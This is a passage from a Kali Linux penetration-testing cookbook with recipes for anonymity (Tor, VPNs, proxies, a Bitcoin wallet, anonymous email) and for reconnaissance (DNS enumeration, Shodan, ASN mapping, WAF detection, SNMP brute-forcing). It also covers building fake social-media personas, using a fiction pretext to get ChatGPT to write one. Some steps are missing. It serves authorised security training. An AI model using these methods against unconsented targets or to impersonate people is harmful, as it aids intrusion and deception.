alternative personas. Additionally, the chapter examines practical tools such as VPNs, proxies, and
the Tor network, explaining their functions, advantages, and limitations in different situations.
By mastering these techniques, you’ll be prepared to maintain your anonymity. Whether evad-
ing surveillance, ensuring secure communication, or cultivating untraceable online identities,
the strategies discussed in this chapter will enable you to work safely and discreetly in your
pen-testing activities.
56 Cloak and Dagger: Stealth and Anonymity
Technical requirements
All our work in this chapter will be conducted within Kali Linux. Some of this information can be
extended to other operating systems and devices, so you can perform many of the actions with
nothing more than a web browser.
Essentials to anonymity
Anonymity is a protective barrier for your online identity and actions. Maintaining anonymity
is a two-fold obligation: you must replicate the tactics used by malicious hackers to thoroughly
assess defenses while also safeguarding yourself as the tester to prevent unintentional exposure
of sensitive data or legal issues.
Hackers often employ tools such as VPNs, Tor, and proxies to mask digital traces, as well as cre-
ate fictitious identities or disposable accounts to obscure attribution. As a pentester, adopting
a hacker’s mindset and understanding these techniques is vital to replicate them accurately.
Lacking this perspective might result in assessments that do not effectively mirror realistic attack
scenarios, such as not evaluating how well a system can spot an attacker using anonymization
methods. This can potentially leave an organization vulnerable to the very threats that exploit
these tactics. Anonymity empowers you to conduct more realistic and thorough tests, uncovering
vulnerabilities that might go unnoticed.
Chapter 2 57
As a pentester, your actions could also unintentionally raise alarms or attract unwanted scrutiny.
Your identity could be compromised without adequate precautions, leading to reputational harm
or legal complications. Effective anonymization practices enable you to work safely, ensuring
that detection systems cannot distinguish your ethical actions from malicious ones. Preserving
anonymity is critical to upholding your privacy, particularly when exploring dark web resources
or engaging with hackers.
Kali Linux is the preferred platform for maintaining operational anonymity due to its built-in
tools and capabilities. It includes pre-installed utilities such as Tor, proxychains, and anonymizing
VPN clients, allowing penetration testers to quickly route their traffic through multiple layers of
obfuscation. Its ability to run as a live OS, either from a USB or in a virtual environment, means
that no trace is left on the host system, which is essential for covert operations. Additionally, the
active Kali community regularly contributes anonymization scripts, custom configurations, and
tool integrations, enabling testers to adapt to evolving surveillance techniques.
Cryptocurrencies are also tools for cybercriminals, often used to facilitate ransomware and other
illicit activities. By understanding these technologies, penetration testers can better simulate
real-world threats and strengthen defenses against emerging attacks.
Getting ready
You need the following to complete this recipe:
How to do it…
1. Launch the terminal window from Kali.
Tip
Please remember we are installing the Electrum wallet in Kali for an example
only. Under real-world circumstances, I would never suggest installing a
Bitcoin wallet on your penetration testing platform. I would use an offline
or hardware-based wallet for higher security. Please validate the Electrum
wallet software against their website to ensure authenticity.
2. Install the Electrum wallet using the package tool in the terminal window. To do so, enter
the following command (your password as needed):
sudo apt install electrum -y
Chapter 2 59
3. Once installed, open the application menu, search for Electrum under All Applications,
and launch it.
4. The Electrum interface will begin the setup wizard; click Next to continue.
5. Name your wallet and click Next. For this example, we will use Demo_Wallet.
6. Select your wallet type. For this demonstration, we will select Standard Wallet and click
Next.
60 Cloak and Dagger: Stealth and Anonymity
7. You will then be presented with a screen that contains your wallet’s seed. The seed is
presented as a series of words. These words, and their order, are extremely important in
wallet recovery. My suggestion is to write them down and store them in a secure location.
After recording the seed, click Next.
Tip
12. Select Fiat, find your local currency, select it, and click Close. You will now see the equiv-
alent of 1 Bitcoin in your local currency in the window.
Tip
13. To receive Bitcoin, click on the Receive menu option and enter a description. You can
enter a requested amount in either mBTC or your fiat currency (you do not need to enter
an amount if you want to leave it variable), and enter an Expiry date and select Create
Request. This will add the entry to the Requests area at the bottom. On the right, you
can get a Bitcoin URI or a QR code.
Tip
I am often asked how best to add funds to a Bitcoin wallet. One way is to
use a Bitcoin exchange; there are several out there. However, many will re-
quire some form of identification or bank account information. If you want
to maintain anonymity, one of the best ways to add or withdraw funds is
through a Bitcoin kiosk. These kiosks have been popping up everywhere
to make the process convenient. However, these kiosks may still contain
cameras and keep activity logs.
Chapter 2 63
14. To send Bitcoin, click on the Send menu option, enter the Pay to Bitcoin address, enter a
description, enter the amount in either mBTC or your fiat currency, and click Pay.
How it works…
We installed the Electrum wallet, which allows us to send and receive Bitcoin. This does not install
a Bitcoin node, which would provide significantly more security and anonymity; however, it also
requires several hundred gigabytes of space and a higher-performing computer. This will allow
you to perform the basics of Bitcoin transactions.
There’s more…
Installing the Electrum wallet is just the first step into the world of cryptocurrency, and it has only
scratched the surface. Bitcoin is built on decentralized blockchain principles, and there are many
applications and tools to explore. To dive deeper, visit [Link] an excellent
resource for securing wallets, managing private keys, understanding mining, and researching
advanced topics such as the Lightning Network and Bitcoin’s role in decentralization.
64 Cloak and Dagger: Stealth and Anonymity
Using Tor
In this recipe, you will learn how to use The Onion Router (Tor) to hide your online activities
and to access the dark web. The Tor network is a powerful tool for penetration testers. It provides
anonymity and access to parts of the internet that are often inaccessible through conventional
means. By routing traffic through a series of encrypted nodes, Tor allows testers to hide their
identities, explore hidden services, and simulate threat actor behavior.
For penetration testers, learning how to use Tor is essential for several reasons. It enables anony-
mous reconnaissance, making tracing testing activities harder for a target. Tor also provides access
to the dark web, where testers can investigate potential data breaches, threat actor activity, or
leaked client information. Additionally, it is a practical way to simulate attacks from adversaries
who rely on anonymity to exploit systems.
Getting ready
You need the following to complete this recipe:
How to do it…
1. From within Kali Linux, open the terminal window.
2. From the terminal window, enter the following and enter your password as required:
sudo apt update
sudo apt install tor torbrowser-launcher -y
5. Once selected, Tor Browser will begin downloading for the first time.
6. Once complete, Tor Browser will launch. To connect to Tor, click the Connect button.
7. Once connected, Tor Browser will change, and you will see Connected in the upper right-
hand corner.
8. You may now browse to .onion addresses, such as the DuckDuckGo search engine at
[Link] or
the DEEP SEARCH search engine at [Link]
[Link]/.
66 Cloak and Dagger: Stealth and Anonymity
How it works…
Tor routes traffic through multiple encrypted relays operated by volunteers. When a user connects,
Tor creates a circuit of three relays: an entry node, a middle relay, and an exit node. Each relay
decrypts only enough data to know the next destination, ensuring that no single relay knows
both the user’s identity and the destination. Tor encrypts data in layers, like an onion.
There’s more…
More information regarding Tor can be found on the project website at [Link]
org. Furthermore, the Brave browser also has Tor built in.
Brave ([Link] is based on Chromium and may have better compatibility with some
websites due to Chrome’s overall popularity, whereas Tor Browser is based on Firefox. However,
Tor Browser may provide more security protection.
Also, take a look at this GitHub site for some other .onion addresses to get you started: https://
[Link]/0x00009b/8cf0c2b0e147dc0c1114fb32b5d2d7a3.
Chapter 2 67
Using private and secure email systems helps penetration testers protect their communications
from unauthorized access, phishing attacks, and data leaks. Furthermore, email anonymity can
be vital when simulating phishing attacks or social engineering campaigns, enabling realistic
threat scenarios without exposing the tester’s identity.
Note
Never use your personal email or identifiers when engaging in lab work, red teaming,
or research on sensitive targets.
Getting ready
You need the following to complete this recipe: Tor Browser open and connected.
How to do it…
1. From Tor Browser, access the Proton Mail .onion address at [Link]
[Link]/.
Tip
4. Enter a username and password, repeat your password, and select Create Account.
5. For verification, you must enter another non-Proton email address and select Get veri-
fication code.
Chapter 2 69
Tip
Verification with another email address is only required for free accounts.
One way around this would be to subscribe to a Proton plan using Bitcoin
to maintain your anonymity.
9. Go through the initial setup screens to validate your preferences. You will then be provided
with your inbox.
How it works…
You accessed Proton Mail entirely anonymously using the Tor network. Had you paid for a subscrip-
tion, you would not have been required to provide an alternate email address to better maintain
privacy. Proton states that they do not maintain the verification email and that it is only saved us-
ing a hashed method to prevent bots and spammers. However, I would not consider that sufficient.
Chapter 2 71
There’s more…
If you choose Proton, I suggest reading their privacy policy at [Link]
Furthermore, you can use various other services for email activities, some of which can be found
on the dark web.
One of the other reasons I chose Proton is that they have good PGP (Pretty Good Privacy) support.
PGP is very prevalent in the security field and provides you with methods to send PGP-signed and/
or encrypted emails to others. More information on PGP can be found at [Link]
org.
Using a VPN
In this recipe, you will learn how to use a virtual private network (VPN) to hide your online
activities and keep your location hidden. VPN technology is a cornerstone of penetration testing,
as mastering VPN technology is essential for penetration testers to maintain operational security,
bypass network restrictions, and simulate real-world attack scenarios.
VPNs create encrypted connections between networks, masking the tester’s identity and protecting
sensitive data during engagements.
A VPN allows penetration testers to obfuscate their traffic and appear to be operating from differ-
ent geographical locations. This is vital for assessing how organizations defend against external
threats. Understanding and effectively using VPNs is essential for any professional in the field.
However, using a privacy-conscious VPN is important, as you can be identified through the pro-
vider’s logs if they maintain them. Many privacy-focused providers will not maintain logs and
operate in jurisdictions where legal requests for information can be argued in court.
Getting ready
You need the following to complete this recipe:
How to do it…
1. Open your web browser and browse to [Link] Record your IP
address and location.
5. Install the repository using the following (enter your password as required):
sudo dpkg -i ./protonvpn-stable-release_1.0.6_all.deb
sudo apt update
10. You may now select one of the free options, such as United States, and select Connect.
11. Once connected, open your web browser and browse again to [Link]
com. Compare your IP address and location to what you previously recorded.
12. You may now disconnect from ProtonVPN and close your browser.
How it works…
Downloading and installing the ProtonVPN application and then connecting to a VPN remote
endpoint provides privacy and anonymity. However, understand that the VPN provider can see
your information; therefore, a no-logging policy is important. Understanding their logging pol-
icies and their legal obligations regarding warrants is crucial.
There’s more…
A free account provides basic capabilities. However, you should explore additional options with
a paid account. The first option is network access to the Tor network. Proton has exit nodes
that connect directly to the Tor network. For more information, visit [Link]
support/tor-vpn/.
Chapter 2 75
Secure Core is another option that helps protect us from being identified by bouncing our traffic
through multiple endpoints before our exit node. For more information, visit [Link]
com/support/secure-core-vpn/.
You should also be familiar with other ways to secure your identity. One such option is the kill
switch, which protects you from being identified if your VPN connection is unexpectedly termi-
nated. For more information, visit [Link]
Lastly, there is DNS leak detection, where sometimes DNS requests go to your local resolver instead
of over the VPN tunnel. More information can be found at [Link]
dns-leak-prevention/.
Using a proxy
In this recipe, you will learn the fundamentals behind using a proxy to hide your online activities
and protect your location from being discovered. Proxies are invaluable tools in a penetration
tester’s arsenal. They act as intermediaries between the tester’s system and the target, enabling
enhanced anonymity, control, and flexibility during engagements. Proxies also allow testers to
mask their IP addresses, manipulate traffic, and simulate various network conditions.
Proxy usage is crucial for penetration testers for several reasons. Proxies can help bypass network
restrictions, geo-blocking, or web application defenses, allowing testers to evaluate a target’s
resilience to real-world attacks. They also enable traffic interception and modification, essential
for analyzing web application vulnerabilities and understanding how data flows between a client
and a server. Please ensure the proxies’ logging and legal obligations when selecting your proxy.
Also, some may include antivirus and anti-malware scanning that could prove a hindrance.
Getting ready
You need the following to complete this recipe: a web browser in Kali Linux.
How to do it…
1. Open your web browser and browse to [Link] Record your IP
address and location.
76 Cloak and Dagger: Stealth and Anonymity
Tip
While these proxies are generally good, you may need to try multiple before
you find one that works. Also, due to proxy latency, you can expect a lag as
you browse.
3. From your web browser, access the menu item button and select Settings.
Chapter 2 77
6. Once connected, open your web browser and browse again to [Link]
com. Compare your IP address and location to what you previously recorded.
7. You may now return, remove your proxy, and close the web browser.
78 Cloak and Dagger: Stealth and Anonymity
How it works…
A web proxy operates at the application layer and is designed to handle specific web protocols
such as HTTP or HTTPS. It primarily works with web traffic by filtering, caching, or anonymizing
requests and responses. In contrast, a SOCKS proxy functions at a lower level, making it more ver-
satile. It can handle many types of network traffic, including web, email, and file transfers. SOCKS
doesn’t interpret the traffic itself; it simply forwards it, making SOCKS proxies more versatile.
There’s more…
While we will demonstrate proxies using an open proxy and a browser, it’s essential to understand
that you may be creating proxies inside your targets to source attacks via the proxy, not just to
obfuscate your source IP. Also, various tools within Kali can be used with a proxy. Proxychains is
a term commonly used in penetration testing to set up anonymity and attack vectors.
Having multiple online personas is particularly valuable in social engineering and reconnaissance
efforts. One persona might connect with target employees on professional networks, while an-
other could interact with public forums or social media groups to gather sensitive information.
Multiple personas also allow testers to test an organization’s resilience against phishing attacks,
impersonation attempts, and other realistic scenarios without risking their professional identity
or exposing their methodology.
Chapter 2 79
Getting ready
You need the following to complete this recipe: Tor Browser or a browser with a VPN.
How to do it…
1. Open Tor Browser and navigate to [Link] Click Create account.
2. Enter the account information based on the persona you are trying to build, including the
appropriate age. Use a proper email address for this persona as well (refer to the Private
and secure email recipe) and select Next.
3. Complete the captcha if required to continue.
4. X will ask for a verification code. Open the email address you used and enter the code,
and select Next.
5. Enter a password and click Sign up. Use a strong and unique password for every account.
80 Cloak and Dagger: Stealth and Anonymity
6. It will now ask for a profile picture. At this point, open a new tab in the browser and nav-
igate to [Link] Enter the gender, age group, and ethnicity based on
the profile you are trying to create, then select GENERATE. Lastly, download the picture.
7. You may now close the [Link] tab and return to the tab with [Link].
8. From the profile picture dialog, select to browse for a picture; select the picture just down-
loaded, and apply that picture to the profile photo.
10. Go through the remaining profile questions and make selections based on this individ-
ual’s persona.
11. You now have a complete [Link] profile for this person.
There’s more…
A typical person may use various online accounts. Take this same character and build out some
of the other popular profiles. Always keep privacy and anonymity in mind when doing this, so
ensure you do it over secure connectivity.
Each character profile will need a unique email, LinkedIn, Facebook, and X/Twitter account. Add
and adjust services as you feel necessary for your target demographic. While having a clear profile
is essential, it is important to remember to make them generic enough for many uses, but not so
generic that they are easy to discover as fake.
Getting ready
You need the following to complete this recipe: Tor Browser or a browser with a VPN.
How to do it…
1. Open Tor Browser and navigate to [Link]
Tip
While an account is not needed, it may be advantageous so that you can refer
back to the prompt we are using. Furthermore, it can help you create posts
and other necessities as you go. Remember to register with a throwaway
email address.
2. Enter the information in the What can I help with? box to build a persona.
I will provide an example, but you can create your own. The more work you put into the
initial prompt, the better your results will be, and you can provide additional details to
help tweak it as you go:
I am writing a fictional story about a single mom with 2 adolescent
children. She is a dentist, her husband divorced her 3 years ago and
is no longer in the picture. She is from the US in upstate New York.
Can you please create a full character profile for her
3. The output will be a complete persona that includes details such as name, age, sex, and
occupation. It further expands into a complete physical description, personality traits,
background, and family information, as well as daily routines and social circle information,
and challenges and growth areas for the individual. I highly suggest that you review the
full profile ([Link]
charachter_profile.txt) as shown:
4. Now, let’s get a social media profile by entering the following prompt:
In first person, please write a brief social media profile.
6. Now, you need to generate a picture to go with Dr. Bennett. Navigate to [Link]
io to generate her photo.
7. In the prompt area, provide details for the persona you want to create. For this example,
I used the following:
39 year old attractive female dentist from upstate new york. Average
build, toned physique, chestnut brown shoulder length hair, tied
back in a pony tail, hazel eyes. Front facing photo.
86 Cloak and Dagger: Stealth and Anonymity
8. The following image was generated and can now be used in any profiles I need to create:
You can now take this information and create the accounts necessary to build an online presence
for Dr. Bennett.
How it works…
ChatGPT and other online large language models (LLMs) are handy tools that can be used for
various purposes. In this case, it’s giving us a complete character that we can use online. Further-
more, we can record this information for future reference. Lastly, we can keep this character in
ChatGPT and interact with it online to provide content for our online personas.
There’s more…
You can send the same prompt to other LLMs and test their output. You may also want to work
with different LLMs to obfuscate your activities further.
Chapter 2 87
Note: Keep your invoice handy. Purchases made directly from Packt
don’t require an invoice.
3
Deep Recon: Unveiling the
Digital Landscape
In this chapter, we will explore various techniques and tools to help you conduct thorough re-
connaissance. We aim to guide you through practical methods for uncovering valuable insights
about your target. Whether it involves gathering domain information, exploring public and private
routing details, or identifying hosts and their associated services, the techniques presented will
equip you with the necessary skills.
Reconnaissance does not stop at merely identifying systems; it also involves profiling and un-
derstanding them. We will delve into fingerprinting hosts to determine their configurations,
identify the presence of web application firewalls, and use Simple Network Management Pro-
tocol (SNMP) to extract critical information. Each step will bring you closer to understanding
the broader picture of your target’s network and security environment while also highlighting
ethical considerations and best practices.
By the end, you will have learned a structured approach to reconnaissance that enables you to
collect, analyze, and document critical data points effectively. These tools and techniques are
essential for uncovering the information you need. However, remember to operate within the
bounds of your legal and authorized agreement with your client.
90 Deep Recon: Unveiling the Digital Landscape
Technical requirements
All recipes in this chapter will be conducted inside the Kali VM. There should be no reliance on
the underlying hardware of the VM. We recommend using a VPN or some other form of obfus-
cation if necessary.
Moreover, detailed documentation ensures traceability and accountability. It allows you to refer
to specific findings during later phases of the engagement and supports your conclusions in the
final report. This report, often presented to stakeholders, serves as a record of your activities
and a roadmap for remediation. Accurate documentation not only substantiates your claims
but also enhances the credibility of your recommendations, demonstrating professionalism and
thoroughness in your approach.
Chapter 3 91
Getting ready
You need the Kali VM on and logged in to complete this recipe.
How to do it…
1. Select the Kali Menu icon from the Kali VM and type Cherrytree into the search box. Once
visible, select CherryTree to launch the note-taking app.
You will immediately be presented with the CherryTree application window. Take a mo-
ment to scroll through the menu bar and the icon bar at the top to familiarize yourself
with the application and options.
2. Click the first icon on the left to add a new node. I will call mine Kali Linux Cookbook
3rd Edition. Select OK.
Tip
3. To save the work that has been done, click File, then Save, and a Choose Storage Type
dialog box will open. Click through the different selections and read the details of the
options available. For this example, select Single SQLite File, 7-zip Encrypted…. Enter
the password twice and select OK.
4. Next, you will add a child node to your primary node. Click the Child Node icon (second
from left) and enter the appropriate information in the dialog. For this example, add
Character Profiles and select OK.
5. Add a second child node, and name this one Dr. Claire Bennett (from our previous work).
6. In the child node just created, paste the content of the Character Profile node that we
made with the help of ChatGPT in Chapter 2.
7. You may now save your work by selecting File, then Save, and closing CherryTree.
How it works…
CherryTree is a powerful note-taking application that offers local storage, ensuring secure and
accessible data without relying on cloud services. Its versatility allows users to handle a wide array
of data types, including text, images, tables, and embedded files, making it ideal for managing
notes and enhancing project organization. This flexibility supports users’ documentation needs
as they progress through their work.
There’s more…
Further information on CherryTree can be found on the project’s website at [Link]
net/cherrytree/. Further, you may wish to evaluate online note-taking applications. While you
will have to look at the pros and cons of storing your data online and the security of that data, I
would suggest looking at Standard Notes at [Link]
We aim to extract valuable insights through tools and techniques that help us expose details, such
as the registrar, domain creation and expiration dates, and DNS record types (e.g., A, MX, CNAME,
and TXT). These details not only help build a clearer picture of the target’s environment but can
also reveal vulnerabilities such as misconfigured records or inactive subdomains.
Getting ready
You need the following to complete this recipe:
How to do it…
1. From within the Kali VM, open up a terminal window. Most of the work will be done
from here.
2. To start, run a simple whois search on [Link]. We are looking for information on the
registrant, contact information, and other information. Enter the following:
whois [Link]
3. Expand the output and record any interesting information. This may include items such
as contact, company, and location information.
4. Now, use dig and capture some information on the main [Link] domain using the
following:
dig [Link] ANY
Note
dig is a standard package in Linux and macOS and can be run natively out-
side of Kali on these operating systems.
6. Now, let’s get information on the mail servers associated with [Link] using the
following:
dig [Link] MX
7. Since there is only one entry for [Link], you will want to “dig” further, as
there is probably a bit more going on than is displayed by this, so let’s use the following:
dig [Link] A
Chapter 3 97
From this output, we see there are multiple host (A) records associated with [Link].
com:
Tip
8. Switching tools, let’s use dnsrecon to get a zone dump of [Link] using the following:
dnsrecon -d [Link]
98 Deep Recon: Unveiling the Digital Landscape
Tip
Note the AAAA records. Those are IPV6 address records and give you the IPv6
host addresses of [Link].
How it works…
DNSRecon and dig are DNS reconnaissance and troubleshooting tools, each serving different
purposes. DNSRecon is a DNS enumeration tool for penetration testing and security research. It
automates tasks such as zone transfers, subdomain brute-forcing, reverse lookups, and DNSSEC
validation, which is ideal for identifying vulnerabilities during assessments. dig is a popular com-
mand-line utility for querying DNS records. It excels at resolving domain names and retrieving
records (e.g., A, MX, and TXT) for detailed diagnostics.
See also…
More information on using dig and DNSRecon can be found by examining the Kali Tools web
page. For dig access, visit [Link] and for DNSRecon, go to
[Link] or its Git page at [Link]
dnsrecon/. This will provide you with additional details and options that you can use to enhance
the information gathered.
Additionally, using web resources enables you to conduct reconnaissance discreetly, minimizing
the likelihood of detection by the target.
Getting ready
You need the following to complete this recipe:
• Web browser
• Optional VPN connection
100 Deep Recon: Unveiling the Digital Landscape
How to do it…
1. Launch your web browser and navigate to [Link]
2. Create an account with Shodan (necessary for advanced searches).
Tip
3. Take a moment to explore the Shodan interface and the options available to you:
4. Once ready, scroll to the bottom of the main interface and select Advanced Search.
Chapter 3 101
5. In the query dialog, type port:22 hostname:[Link] to search for any SSH ports (port
22) open for [Link]. Click on Search.
Tip
Notice that the search query is being populated based on the criteria you are
entering. This will help you learn the query syntax to make your searches
faster in the future.
6. You will be presented with substantial information based on your search criteria. If your
search results are positive, note the information provided, such as OS and version infor-
mation.
7. Select one of the positive results for a more detailed view of that host. Note all the infor-
mation presented for the host, including all open ports, detailed information related to
each open port, and a list of vulnerabilities.
8. We need to review vulnerabilities based on our original interest in port 22. Filter the vul-
nerabilities from the dropdown at the top right of the Vulnerabilities list to show only
those associated with port 22.
9. Explore the host output further to record other interesting information.
How it works…
Shodan is a search engine designed to identify devices connected to the internet by scanning
IP addresses and gathering metadata about their services. It focuses on indexing banners and
headers from HTTP, FTP, and SSH services. It scans IP addresses across the web, collecting in-
formation such as device types, software versions, open ports, and geographical locations. This
information is made searchable, allowing us to locate devices based on specific factors such as
vulnerabilities, protocols, or configurations. We can use this information to research a potential
target organization to find flaws in its exposed services.
Chapter 3 103
There’s more…
Shodan has a robust information and learning center accessible at [Link] It
can provide you with more information to help you become accustomed to the tool.
Shodan is one of many search engines of this type. Another common one is Censys, accessible
at [Link] You can create a free account there and try similar searches to get an
idea of what Censys offers.
Getting ready
You need the following to complete this recipe:
How to do it…
1. Open a terminal window from within Kali Linux.
2. Run the following dnsrecon command to enumerate IP addresses based on the domain
name for us to review:
dnsrecon -d [Link] -t std
104 Deep Recon: Unveiling the Digital Landscape
3. The output will provide a list of addresses that are resolved based on our query.
Tip
You can alter this search by connecting your VPN to different locations. This
may help you discover country-specific IP address regions.
4. Select one of the IP addresses to work with and run whois against it. Use the following
for this example:
whois [Link]
The output will provide you with netblock information that can be used later to discover
hosts.
In this case, the netblock associated with this IP address range is [Link]/15, which
includes the IP addresses [Link] to [Link]. Also, please take note of the
automated system number (ASN) associated with this netblock, AS15169. Let’s try and
use the ASN to gather additional information.
Chapter 3 105
6. If you do not already have the asn tool, follow the prompts to install it.
7. Next, let’s target AS15169 by querying (this query may take several minutes to complete).
Type the following:
asn 15169
You will see an extensive output of information right at the top. You will see that this
ASN is owned by Google (common for large companies), meaning that the information
provided will solely relate to Google’s infrastructure:
Tip
8. Scrolling down, you will see a list of IPv4 and IPv6 prefixes associated with that ASN.
Record this information and use it later in other tools or processes.
106 Deep Recon: Unveiling the Digital Landscape
How it works…
The tools we used in the recipe allowed us to enhance our search based on some easily iden-
tifiable information. First, identify a specific IP address and expand to a netblock. Taking that
netblock, expanding the ASN, and, lastly, using that ASN to provide us with a list of IP address
ranges associated with our target. This list of IP addresses can then be later used for scanning
the target environment.
There’s more…
The ASN tool is a Linux tool associated with the Border Gateway Protocol (BGP) toolkit, not spe-
cifically a Kali tool. This is not uncommon, as general Linux operating systems provide powerful
tools to those who know how to use them. More information on ASNs can be found at https://
[Link]/resources/guide/asn/.
By using tools such as [Link] and Hurricane Electric’s BGP Toolkit, you can map the flow of
data packets and identify the routers and networks involved in connecting to the target. This
information can assist in exposing weak routing protocol practices or network edges that might
be exploited. It is not capturing any information, just providing packet path information.
Getting ready
You need the following to complete this recipe:
How to do it…
1. From the web browser, access [Link]
2. Enter the ASN for Google (AS15169), as we discovered earlier, and hit the red arrow to
search.
Chapter 3 107
3. Review the Prefixes menu for some more information. Some of this is redundant from the
previous recipe, but look closely at the top two entries – they are Anycast address ranges.
You may recognize them as Google’s public DNS resolvers.
Tip
9. From the output window, select Graph v4, which will display a visual representation of
the interconnectivity of the AS, as shown here:
10. Scroll through the different tabs at the top. While some of the information is redundant,
taking different views of the same information is valuable.
How it works…
BGP is the primary routing protocol that underpins the global internet. It facilitates the exchange
of routing information between ASs, which are large networks managed by organizations such as
ISPs, data centers, and enterprises. BGP ensures data is efficiently routed globally by dynamically
determining the best paths between ASs.
[Link] offers real-time visibility into BGP announcements, prefix monitoring, and path chang-
es, helping users identify routing anomalies such as leaks or hijacks. Hurricane Electric’s toolkit
complements this by allowing users to trace routes, analyze AS relationships, and examine global
prefix propagation. These tools are invaluable for optimizing network performance, responding
to incidents such as route hijacking, and understanding the structure of internet traffic. By le-
veraging these platforms, network engineers and researchers understand how data transitions
globally, enhancing performance, security, and resilience.
110 Deep Recon: Unveiling the Digital Landscape
There’s more…
More information on BGP can be found at [Link]
glossary/what-is-bgp/.
By using tools such as SNMP queries, routing protocol analysis (e.g., OSPF or BGP within the in-
ternal network), or observing traceroutes and routing tables during authenticated or simulated
network access, you can construct a detailed map of the internal network topology.
Getting ready
You need the following to complete this recipe:
How to do it…
1. Temporarily, we are going to move the Kali VM adapter 1 from NAT to a bridged adapter
to have direct access to the network. To do this, start by accessing the VirtualBox admin-
istrative interface on the host machine.
2. From the VirtualBox administrative interface, select the Kali VM, then click Settings and
then Network to edit the network interface configuration.
3. In Expert Mode, select Network | Adapter 1, and in the Attached to: dropdown, change
from NAT to Bridged. Then, select OK.
Tip
In most cases, this change can be done while the VM runs without impacting
it, other than the routing change.
You can now close the VirtualBox interface and move to the Kali VM.
Chapter 3 111
4. In the Kali VM, open the terminal window. Enter the following command to obtain in-
formation regarding your local network(s):
ifconfig
5. Review the output carefully: you will see some critical information regarding the local
networks. Figure 3.18 shows that we are attached to IP addresses on two separate networks:
[Link]/23 and [Link]/24.
Tip
You are learning to do this on your local network, so you know how to do
this when on a remote network and connected to other networks. This way,
you can begin expanding your knowledge of the target network.
6. In the terminal, type the following command to obtain your default gateways:
netstat -nr
112 Deep Recon: Unveiling the Digital Landscape
The output shows that the router address is [Link]. This enables us to understand
the network and where to pivot to investigate other networks.
7. Use traceroute to a device on the internet with the following for your path out:
sudo traceroute -d [Link]
When examining the output, you want to look for addresses in the RFC1918 address space,
as shown in Figure 3.18. These addresses are used primarily for internal communication
within any target’s network.
Tip
• [Link]/8 = [Link]–[Link]
• [Link]/12 = [Link]–[Link]
• [Link]/16 = [Link]–[Link]
8. In our traceroute example, you will see two separate private address spaces, as shown
in Figure 3.19.
This provides additional information to use later when you start looking for hosts on the
network.
How it works…
traceroute sends packets to a target host with progressively increasing time-to-live (TTL) values,
forcing each packet to expire at successive routers along the path. When a router discards a packet
because its TTL reaches zero, it sends back an error message, revealing its identity. By doing this
step by step until the destination is reached, traceroute maps out the route of intermediate hops
between the source and the target.
See also…
More information on the RFC1918 address space can be found at [Link]
doc/html/rfc1918. Additional information can be found at [Link]
rfc-1918-private-ip-addressing/.
Getting ready
You need the Kali VM up and running to complete this recipe.
How to do it…
1. You may use a VPN or other forms of obfuscation if you so desire – connect them before
continuing.
2. Open the Kali terminal window and enter the following command:
dnsrecon -d [Link] -t std
114 Deep Recon: Unveiling the Digital Landscape
3. Examine the output for potential cloud service providers. You will see two cloud service
providers. They are using Google for at least their name services and Mimecast for email
filtering.
Let’s see whether there is more to be seen here. I suspect Google is providing more than
just name services. If you look for the A record for [Link], you will see that it points
to [Link].
Tip
4. Run whois on this IP address to get more information about the ownership, as shown here:
whois [Link]
Chapter 3 115
As suspected, this address resolves to Google. The output shows that they are using Google
services to host their website.
Finally, let’s use a new tool to get all subdomains associated with this account, check
them all, and conduct further assessments to gather additional information and details
If sublist3r is not installed already, you will be asked whether you want to install it.
Enter y and then enter your password as needed.
6. Enter the following command to find all subdomains associated with [Link]:
sublist3r -d [Link]
7. You can now investigate each subdomain displayed in the output to gather additional
information.
8. You may now close the terminal window.
116 Deep Recon: Unveiling the Digital Landscape
How it works…
In this recipe, you utilized existing tools that you had already gained experience with, as well as
new tools to provide information. However, you must spend some time looking for indicators of
the services being used by the target network. The big ones, such as Google, Microsoft, Oracle,
and Cloudflare, might be easy to identify, but what about Mimecast? Were you aware of what
they were and what they did before this? As you see entries, you may need to perform some web
searching to see whether you can identify any interesting software or services the target may be
utilizing. Finally, one DNS entry to pay special attention to is the CNAME records – these will
often point to other hosts in the current domain or to cloud service providers.
There’s more…
One of the first things you can do is create a comprehensive list of cloud service providers and
domains to help you more readily identify them as you search. There is an easy way to get start-
ed. Ask an AI assistant the following: Can you provide me with a comprehensive list of
domains associated with cloud service providers?
Getting ready
You need the following to complete this recipe:
How to do it…
1. Ensure that your VPN or other obfuscation methods protect your identity, as we will
directly scan hosts.
Chapter 3 117
2. From within Kali, open a terminal window and enter the following command:
wafw00f [Link]
3. Examining the output, we see that wafw00f did not identify a WAF in front of the site:
5. Examining the output from the example, we see that this site is behind a WAF or security
device. Just understanding this may be beneficial for us to use later when we begin trying
to compromise the network.
6. Lastly, let’s target a site that I know has a very common WAF. Type the following:
wafw00f [Link]
7. Examining the output, we see that not only was the WAF detected, but
the specific type of WAF was also found, in this case, the Cloudflare WAF:
Tip
How it works…
wafw00f works by sending a series of HTTP requests to a given target website and analyzing the
responses to identify patterns that match known web application firewalls. It checks specific re-
sponse behaviors, headers, and content patterns commonly returned by various solutions. By using
these signatures, wafw00f can reliably detect the presence and type of WAF protecting the site.
See also…
More information can be found on the Kali tools site at [Link]
Chapter 3 119
Getting ready
You need the following to complete this recipe:
How to do it…
1. Ensure that your VPN or other obfuscation methods protect your identity, as we will
directly scan hosts.
2. In Kali, open a terminal window.
3. We need to identify the IP address for the SNMP test site. Type the following:
ping [Link]
4. To run an SNMP v1 check on the host using the public community string, enter the fol-
lowing:
snmp-check -c public [Link]
The output shows two interfaces: lo and eth0. It further provides us with the MAC address,
MTU size, and traffic statistics.
120 Deep Recon: Unveiling the Digital Landscape
5. Run the same command but use SNMP v2 this time, as shown here:
snmp-check -v2c -c public [Link]
This shows the same information along with some additional information. One of the
important aspects of SNMP v2 is its use of 64-bit counters over 32-bit counters, making
it much more applicable to today’s higher-speed networks.
Tip
The standard SNMP strings used are public for read-only and private for
read-write. Although this is against all best practices, you will be surprised
at the number of devices you can still find using these community strings.
6. If you know SNMP is operational on the target, but public or private is not working, you
can try brute-forcing the password using a password list. However, remember that this
can potentially expose your intent. Type the following command:
onesixtyone -c /usr/share/doc/onesixtyone/[Link] [Link]
Chapter 3 121
The output shows that the command found public as a valid password:
Tip
There are various dictionary files available on the web that you can use to
brute-force the password. The one provided with onesixtyone is very lim-
ited and is good for testing purposes only.
How it works…
snmp-check collects various data from standard management information base (MIB) objects,
such as system descriptions, network configurations, running services, and installed software
details, depending on the permissions and MIB objects supported by the target.
See also…
More information on snmp-check can be found at [Link]
and information on onesixtyone can be found at [Link]
Setting up Maltego CE
